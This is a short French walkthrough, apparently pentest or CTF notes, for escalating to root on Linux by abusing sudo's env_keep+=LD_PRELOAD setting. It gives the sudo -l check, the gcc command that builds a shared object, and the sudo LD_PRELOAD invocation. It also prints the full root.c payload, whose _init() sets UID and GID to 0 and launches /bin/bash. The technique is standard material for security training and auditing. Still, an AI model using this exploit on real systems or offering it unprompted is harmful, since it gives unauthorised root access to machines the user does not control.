Ld preload

  1. Vérifier les droits sudo :

  2. Commande : sudo -l

  3. Lorsque env_keep+=LD_PRELOAD est présent dans la configuration de sudo, cela signifie que la variable d'environnement LD_PRELOAD est conservée lors de l'exécution des commandes avec sudo.

  4. Créer le fichier source C (root.c) :

  5. Commande : nano -w /tmp/root.c

  6. Le code C crée une bibliothèque partagée qui, lorsqu'elle est chargée, exécute son code d'initialisation (_init()). Ce code modifie l'ID utilisateur (UID) et l'ID de groupe (GID) du processus en 0 (c'est-à-dire root), puis lance un shell Bash.

  7. Compiler le fichier source en bibliothèque partagée :

  8. Commande : gcc -fPIC -shared -o /tmp/root.so /tmp/root.c -nostartfiles

  9. Cette commande compile le fichier root.c en une bibliothèque partagée root.so. L'option -fPIC crée du code position indépendant, nécessaire pour les bibliothèques partagées, et -nostartfiles empêche gcc d'utiliser les fichiers de démarrage standard, ce qui n'est pas nécessaire pour ce type de charge utile.

  10. Exécuter une commande avec sudo en utilisant LD_PRELOAD :

  11. Commande : sudo LD_PRELOAD=/tmp/root.so /usr/sbin/executable restart

  12. Ici, LD_PRELOAD est utilisé pour précharger root.so. Lorsque la commande /usr/sbin/executable (qui doit être une commande autorisée par sudo) est exécutée, elle charge root.so avant toute autre bibliothèque. Cela entraîne l'exécution du code dans _init(), élevant ainsi les privilèges du processus à ceux de root.

Contenu de root.c:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}